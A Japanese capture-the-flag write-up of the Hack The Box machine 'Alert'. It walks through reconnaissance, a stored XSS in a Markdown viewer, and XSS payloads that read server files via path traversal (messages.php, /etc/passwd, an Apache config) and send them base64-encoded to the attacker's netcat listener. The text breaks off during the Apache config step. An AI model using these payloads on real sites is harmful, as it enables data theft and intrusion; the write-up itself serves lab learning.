Hack The BoxのWriteup(Alert)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「Alert」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン
  (2) 名前解決のためのhostsファイル更新
  (3) Webアクセスできるファイル/ディレクトリ調査
  (4) Webサイトの動作確認
  (5) Webアクセスできるファイル/ディレクトリ調査(.phpのファジング)
  (6) Webアクセスできるサブドメイン調査
  (7) Webサイトの脆弱性調査(XSS)
  (8) XSSを用いた管理者からのアクセス情報取得
  (9) 攻撃対象のマシン(Alert)上のファイル取得(messages.php)
  (10) 攻撃対象のマシン(Alert)上のファイル取得(/etc/passwd)
  (11) 対象のマシン(Alert)上のファイル取得(/etc/apache2/sites-available/000-default.conf)

  (12) 対象のマシン(Alert)上のファイル取得(/var/www/statistics.alert.htb/.htpasswd)
  (13) SSHログインを用いたalbertユーザー権限のシェル奪取
  (14) 特権昇格

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン


(1) 「nmap -sS -sC -sV -A -p- -Pn –min-rate 5000 10.10.11.44」コマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP (80/tcp)が応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.44
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-30 22:50 JST
Nmap scan report for 10.10.11.44
Host is up (0.32s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
12227/tcp filtered unknown
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1025/tcp)
HOP RTT       ADDRESS
1   199.64 ms 10.10.16.1
2   197.13 ms 10.10.11.44

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.94 seconds


名前解決のためのhostsファイル更新


(1) ブラウザを用いて「http://10.10.11.44/」にアクセスすると、「http://alert.htb/」にリダイレクトされる。

(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.44 alert.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.11.44 alert.htb」が出力されることを確認する。


(3) ブラウザを用いて「http://alert.htb/」にアクセスすると、Webページが表示される。


Webアクセスできるファイル/ディレクトリ調査


(1) feroxbusterを用いてアクセスできるURLを確認すると、「http://alert.htb/css/style.css」や「http://alert.htb/css/style」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ feroxbuster -u http://alert.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
200      GET      182l      385w     3622c http://alert.htb/css/style.css
302      GET       23l       48w      660c http://alert.htb/index.php => index.php?page=alert
302      GET       23l       48w      660c http://alert.htb/ => index.php?page=alert
301      GET        9l       28w      308c http://alert.htb/uploads => http://alert.htb/uploads/
301      GET        9l       28w      304c http://alert.htb/css => http://alert.htb/css/
200      GET      182l      385w     3622c http://alert.htb/css/style
301      GET        9l       28w      309c http://alert.htb/messages => http://alert.htb/messages/
ーーー(省略)ーーー




(2) GoBusterを用いてアクセスできるURLを確認すると、特に気になるレスポンス結果はない。

$ gobuster dir -u http://alert.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Alert_80.txt
ーーー(省略)ーーー
/.htpasswd            (Status: 403) [Size: 274]
/.htaccess            (Status: 403) [Size: 274]
/css                  (Status: 301) [Size: 304] [--> http://alert.htb/css/]
/messages             (Status: 301) [Size: 309] [--> http://alert.htb/messages/]
/server-status        (Status: 403) [Size: 274]
/uploads              (Status: 301) [Size: 308] [--> http://alert.htb/uploads/]
ーーー(省略)ーーー




(3) dirsearchを用いてアクセスできるURLを確認すると、「http://alert.htb/contact.php」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ dirsearch -u http://alert.htb/
ーーー(省略)ーーー
[00:37:23] 200 -   24B  - /contact.php
[00:37:24] 301 -  304B  - /css  ->  http://alert.htb/css/
[00:37:47] 301 -  309B  - /messages  ->  http://alert.htb/messages/
[00:38:04] 403 -  274B  - /server-status
[00:38:04] 403 -  274B  - /server-status/
[00:38:16] 403 -  274B  - /uploads/
[00:38:16] 301 -  308B  - /uploads  ->  http://alert.htb/uploads/
ーーー(省略)ーーー




Webサイトの動作確認


(1) ブラウザを用いて「http://alert.htb/」にアクセスすると、「http://alert.htb/index.php?page=alert」にリダイレクトされる。
本Webページ(Markdown Viewer)はMarkdownファイル(.mdファイル)をアップロードして、閲覧することができる。


(2) 上部の「Contact Us」をクリックすると、「http://alert.htb/index.php?page=contact」にリダイレクトされる。
本Webページ(Contact Us)は問い合わせメッセージを入力して送信することができる。


(3) 上部の「About Us」をクリックすると、「http://alert.htb/index.php?page=about」にリダイレクトされる。
本Webページ(About Us)はテキストのみで特に気になる情報はない。


(4) 上部の「Donate」をクリックすると、「http://alert.htb/index.php?page=donate」にリダイレクトされる。
本Webページ(Donate)はMarkdownを見易くする画面のようですが、使用方法が分からなかった。


Webアクセスできるファイル/ディレクトリ調査(.phpのファジング)


(1) ffufを用いて他にどのような.phpファイルにアクセスできるか確認すると、「http://alert.htb/messages.php」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://alert.htb/FUZZ" -ic -e .php
ーーー(省略)ーーー
.php                    [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 202ms]
contact.php             [Status: 200, Size: 24, Words: 3, Lines: 2, Duration: 203ms]
                        [Status: 302, Size: 660, Words: 123, Lines: 24, Duration: 205ms]
index.php               [Status: 302, Size: 660, Words: 123, Lines: 24, Duration: 205ms]
uploads                 [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 210ms]
css                     [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 212ms]
messages.php            [Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 218ms]
messages                [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 218ms]
.php                    [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 217ms]
                        [Status: 302, Size: 660, Words: 123, Lines: 24, Duration: 218ms]
server-status           [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 218ms]
visualizer.php          [Status: 200, Size: 633, Words: 181, Lines: 26, Duration: 256ms]
:: Progress: [441092/441092] :: Job [1/1] :: 171 req/sec :: Duration: [0:41:01] :: Errors: 0 ::




Webアクセスできるサブドメイン調査


(1) ffufを用いてアクセスできるalert.htbのサブドメインを調査する。

$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ -H "Host: FFUZ.alert.htb" -u http://alert.htb -fw 20
ーーー(省略)ーーー
statistics              [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 213ms]
:: Progress: [100000/100000] :: Job [1/1] :: 160 req/sec :: Duration: [0:09:03] :: Errors: 0 ::
ーーー(省略)ーーー


(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.44 statistics.alert.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.11.44 statistics.alert.htb」が出力されることを確認する。


(3) ブラウザを用いて「http://statistics.alert.htb/」にアクセスすると、Basic認証のログイン画面が表示される。しかし、ログイン画面の認証情報が分からないためログインできない。


Webサイトの脆弱性調査(XSS)


(1) XSSの脆弱性があるかどうか確認するために、ポップアップを表示するプログラムを作成する。
プログラムは「https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/xss-in-markdown.html」を参考にして作成している。

【ファイル名:XSSalert.md】
<!-- XSS with regular tags -->
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />


(2) ブラウザを用いて「http://alert.htb/index.php?page=alert」にアクセスする。「Browse…」をクリックして作成したプログラム(XSSalert.md)を選択する。


(3) 選択したプログラム名(XSSalert.md)が表示されていることを確認し、「View Markdown」をクリックする。


(4) 「http://alert.htb/visualizer.php」にリダイレクトされて、JavaScriptのalertのポップアップが表示されるため、「OK」をクリックする。
JavaScriptのプログラムを実行できたため、visualizer.phpにはXSSの脆弱性があることが分かる。


(5) 再度ポップアップが表示されるため、「OK」をクリックする。その後、「Share Markdown」をクリックする。


(6) 共有用のURL(http://alert.htb/visualizer.php?link_share=XXXXXXXXX.md)にリダイレクトされる。ポップアップが表示されるため、「OK」をクリックする。
   ※「XXXXXXXXX.md」は随時生成される乱数。


(7) 再度ポップアップが表示されるため、「OK」をクリックする。



XSSを用いた管理者からのアクセス情報取得


(1) Kali LinuxのIPアドレスを確認する。

$ ip a
   →VPN用のIPアドレスを確認する。今回のIPアドレスは「10.10.16.6」。
   


(2) Kali Linuxの3000/tcpにアクセスするプログラムを作成する。

【ファイル名:XSSalert2.md】
 <script src="http://10.10.16.6:3000/pwned.js"></script>


(3) ブラウザを用いて「http://alert.htb/index.php?page=alert」にアクセスする。「Browse…」をクリックして作成したプログラム(XSSalert2.md)を選択し、「View Markdown」をクリックする。


(4) 「Share Markdown」をクリックする。


(5) 共有用のURL(http://alert.htb/visualizer.php?link_share=XXXXXXXXX.md)にリダイレクトされる。問い合わせページに本URLを送信するためメモなどに保存する。
   ※「XXXXXXXXX.md」は随時生成される乱数。


(6) Kali Linuxにて3000/tcpで待ち受ける。

$ nc -lvnp 3000
listening on [any] 3000 ...



(7) 「http://alert.htb/index.php?page=contact」にアクセスし、メッセージに共有用のURLを入力して、「Send」をクリックする。


(8) しばらく待つと、「nc -lvnp 3000」コマンドのプロンプトにて応答があるため、問い合わせを受けたWebサイト管理者からアクセスがあったと推測できる。

$ nc -lvnp 3000
listening on [any] 3000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.44] 58160
GET /pwned.js HTTP/1.1
Host: 10.10.16.6:3000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate




攻撃対象のマシン(Alert)上のファイル取得(messages.php)


(1) Kali Linuxの3000/tcpにアクセスするプログラムを作成する。

【ファイル名:XSS3.md】
<script>
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.16.6:3000/?content=' + btoa(req.responseText),true);
req2.send();
</script>


(2) ブラウザを用いて「http://alert.htb/index.php?page=alert」にアクセスする。「Browse…」をクリックして作成したプログラム(XSS3.md)を選択し、「View Markdown」をクリックする。


(3) 「Share Markdown」をクリックする。


(4) 共有用のURL(http://alert.htb/visualizer.php?link_share=XXXXXXXXX.md)にリダイレクトされる。問い合わせページに本URLを送信するためメモなどに保存する。
   ※「XXXXXXXXX.md」は随時生成される乱数。


(5) Kali Linuxにて3000/tcpで待ち受ける。

$ nc -lvnp 3000
listening on [any] 3000 ...


(6) 「http://alert.htb/index.php?page=contact」にアクセスし、メッセージに共有用のURLを入力して、「Send」をクリックする。


(7) しばらく待つと、「nc -lvnp 3000」コマンドのプロンプトにて応答があり、contentのパラメータにmessages.phpの内容が表示されていることを確認する。

$ nc -lvnp 3000
listening on [any] 3000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.44] 56208
GET /?content=PGgxPk1lc3NhZ2VzPC9oMT48dWw+PGxpPjxhIGhyZWY9J21lc3NhZ2VzLnBocD9maWxlPTIwMjQtMDMtMTBfMTUtNDgtMzQudHh0Jz4yMDI0LTAzLTEwXzE1LTQ4LTM0LnR4dDwvYT48L2xpPjwvdWw+Cg== HTTP/1.1
Host: 10.10.16.6:3000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate




(8) messages.phpの内容を確認するためにBASE64でデコードする。fileというパラメータにファイル名を指定しているため、ディレクトリトラバーサルで任意のファイルにアクセスできる可能性がある。

$ echo "PGgxPk1lc3NhZ2VzPC9oMT48dWw+PGxpPjxhIGhyZWY9J21lc3NhZ2VzLnBocD9maWxlPTIwMjQtMDMtMTBfMTUtNDgtMzQudHh0Jz4yMDI0LTAzLTEwXzE1LTQ4LTM0LnR4dDwvYT48L2xpPjwvdWw+Cg==" | base64 -d
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>



攻撃対象のマシン(Alert)上のファイル取得(/etc/passwd)


(1) Kali Linuxの3000/tcpにアクセスするプログラムを作成する。

【ファイル名:XSS4.md】
<script>
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../etc/passwd', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.16.6:3000/?content=' + btoa(req.responseText),true);
req2.send();
</script>


(2) ブラウザを用いて「http://alert.htb/index.php?page=alert」にアクセスする。「Browse…」をクリックして作成したプログラム(XSS4.md)を選択し、「View Markdown」をクリックする。


(3) 「Share Markdown」をクリックする。


(4) 共有用のURL(http://alert.htb/visualizer.php?link_share=XXXXXXXXX.md)にリダイレクトされる。問い合わせページに本URLを送信するためメモなどに保存する。
   ※「XXXXXXXXX.md」は随時生成される乱数。


(5) Kali Linuxにて3000/tcpで待ち受ける。

$ nc -lvnp 3000
listening on [any] 3000 ...


(6) 「http://alert.htb/index.php?page=contact」にアクセスし、メッセージに共有用のURLを入力して、「Send」をクリックする。


(7) しばらく待つと、「nc -lvnp 3000」コマンドのプロンプトにて応答があり、contentのパラメータに/etc/passwdの内容が表示されていることを確認する。

$ nc -lvnp 3000
listening on [any] 3000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.44] 57278
GET /?content=PHByZT5yb290Ong6MDowOnJvb3Q6L3Jvb3Q6L2Jpbi9iYXNoCmRhZW1vbjp4OjE6MTpkYWVtb246L3Vzci9zYmluOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgpzeXM6eDozOjM6c3lzOi9kZXY6L3Vzci9zYmluL25vbG9naW4Kc3luYzp4OjQ6NjU1MzQ6c3luYzovYmluOi9iaW4vc3luYwpnYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpbgptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpscDp4Ojc6NzpscDovdmFyL3Nwb29sL2xwZDovdXNyL3NiaW4vbm9sb2dpbgptYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L3Vzci9zYmluL25vbG9naW4KdXVjcDp4OjEwOjEwOnV1Y3A6L3Zhci9zcG9vbC91dWNwOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpbgp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi91c3Ivc2Jpbi9ub2xvZ2luCmJhY2t1cDp4OjM0OjM0OmJhY2t1cDovdmFyL2JhY2t1cHM6L3Vzci9zYmluL25vbG9naW4KbGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpbgppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1uZXR3b3JrOng6MTAwOjEwMjpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6MTAxOjEwMzpzeXN0ZW1kIFJlc29sdmVyLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAyOjEwNDpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgptZXNzYWdlYnVzOng6MTAzOjEwNjo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwNDoxMTA6Oi9ob21lL3N5c2xvZzovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTA1OjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KdHNzOng6MTA2OjExMTpUUE0gc29mdHdhcmUgc3RhY2ssLCw6L3Zhci9saWIvdHBtOi9iaW4vZmFsc2UKdXVpZGQ6eDoxMDc6MTEyOjovcnVuL3V1aWRkOi91c3Ivc2Jpbi9ub2xvZ2luCnRjcGR1bXA6eDoxMDg6MTEzOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KbGFuZHNjYXBlOng6MTA5OjExNTo6L3Zhci9saWIvbGFuZHNjYXBlOi91c3Ivc2Jpbi9ub2xvZ2luCnBvbGxpbmF0ZTp4OjExMDoxOjovdmFyL2NhY2hlL3BvbGxpbmF0ZTovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTE6MTE2OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTEyOjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMTM6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk5Ojk5OTpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KYWxiZXJ0Ong6MTAwMDoxMDAwOmFsYmVydDovaG9tZS9hbGJlcnQ6L2Jpbi9iYXNoCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmRhdmlkOng6MTAwMToxMDAyOiwsLDovaG9tZS9kYXZpZDovYmluL2Jhc2gKPC9wcmU+Cg== HTTP/1.1
Host: 10.10.16.6:3000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate




(8) /etc/passwdの内容を確認するために、BASE64でデコードする。albertユーザーにログインシェルが設定されていることが分かる。

$ echo "PHByZT5yb290Ong6MDowOnJvb3Q6L3Jvb3Q6L2Jpbi9iYXNoCmRhZW1vbjp4OjE6MTpkYWVtb246L3Vzci9zYmluOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgpzeXM6eDozOjM6c3lzOi9kZXY6L3Vzci9zYmluL25vbG9naW4Kc3luYzp4OjQ6NjU1MzQ6c3luYzovYmluOi9iaW4vc3luYwpnYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpbgptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpscDp4Ojc6NzpscDovdmFyL3Nwb29sL2xwZDovdXNyL3NiaW4vbm9sb2dpbgptYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L3Vzci9zYmluL25vbG9naW4KdXVjcDp4OjEwOjEwOnV1Y3A6L3Zhci9zcG9vbC91dWNwOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpbgp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi91c3Ivc2Jpbi9ub2xvZ2luCmJhY2t1cDp4OjM0OjM0OmJhY2t1cDovdmFyL2JhY2t1cHM6L3Vzci9zYmluL25vbG9naW4KbGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpbgppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1uZXR3b3JrOng6MTAwOjEwMjpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6MTAxOjEwMzpzeXN0ZW1kIFJlc29sdmVyLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAyOjEwNDpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgptZXNzYWdlYnVzOng6MTAzOjEwNjo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwNDoxMTA6Oi9ob21lL3N5c2xvZzovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTA1OjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KdHNzOng6MTA2OjExMTpUUE0gc29mdHdhcmUgc3RhY2ssLCw6L3Zhci9saWIvdHBtOi9iaW4vZmFsc2UKdXVpZGQ6eDoxMDc6MTEyOjovcnVuL3V1aWRkOi91c3Ivc2Jpbi9ub2xvZ2luCnRjcGR1bXA6eDoxMDg6MTEzOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KbGFuZHNjYXBlOng6MTA5OjExNTo6L3Zhci9saWIvbGFuZHNjYXBlOi91c3Ivc2Jpbi9ub2xvZ2luCnBvbGxpbmF0ZTp4OjExMDoxOjovdmFyL2NhY2hlL3BvbGxpbmF0ZTovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTE6MTE2OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTEyOjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMTM6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk5Ojk5OTpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KYWxiZXJ0Ong6MTAwMDoxMDAwOmFsYmVydDovaG9tZS9hbGJlcnQ6L2Jpbi9iYXNoCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmRhdmlkOng6MTAwMToxMDAyOiwsLDovaG9tZS9kYXZpZDovYmluL2Jhc2gKPC9wcmU+Cg==" | base64 -d
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>


対象のマシン(Alert)上のファイル取得(/etc/apache2/sites-available/000-default.conf)


(1) Kali Linuxの3000/tcpにアクセスするプログラムを作成する。

【ファイル名:XSS5.md】
<script>
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../etc/apache2/sites-available/000-default.conf', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.16.6:3000/?content=' + btoa(req.responseText),true);
req2.send();
</script>


(2) ブラウザを用いて「http://alert.htb/index.php?page=alert」にアクセスする。「Browse…」をクリックして作成したプログラム(XSS5.md)を選択し、「View Markdown」をクリックする。


(3) 「Share Markdown」をクリックする。


(4) 共有用のURL(http://alert.htb/visualizer.php?link_share=XXXXXXXXX.md)にリダイレクトされる。問い合わせページに本URLを送信するためメモなどに保存する。
   ※「XXXXXXXXX.md」は随時生成される乱数。


(5) Kali Linuxにて3000/tcpで待ち受ける。

$ nc -lvnp 3000
listening on [any] 3000 ...


(6) 「http://alert.htb/index.php?page=contact」にアクセスし、メッセージに共有用のURLを入力して、「Send」をクリックする。


(7) しばらく待つと、「nc -lvnp 3000」コマンドのプロンプトにて応答があり、contentのパラメータに/etc/passwdの内容が表示されていることを確認する。

$ nc -lvnp 3000
listening on [any] 3000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.44] 33734
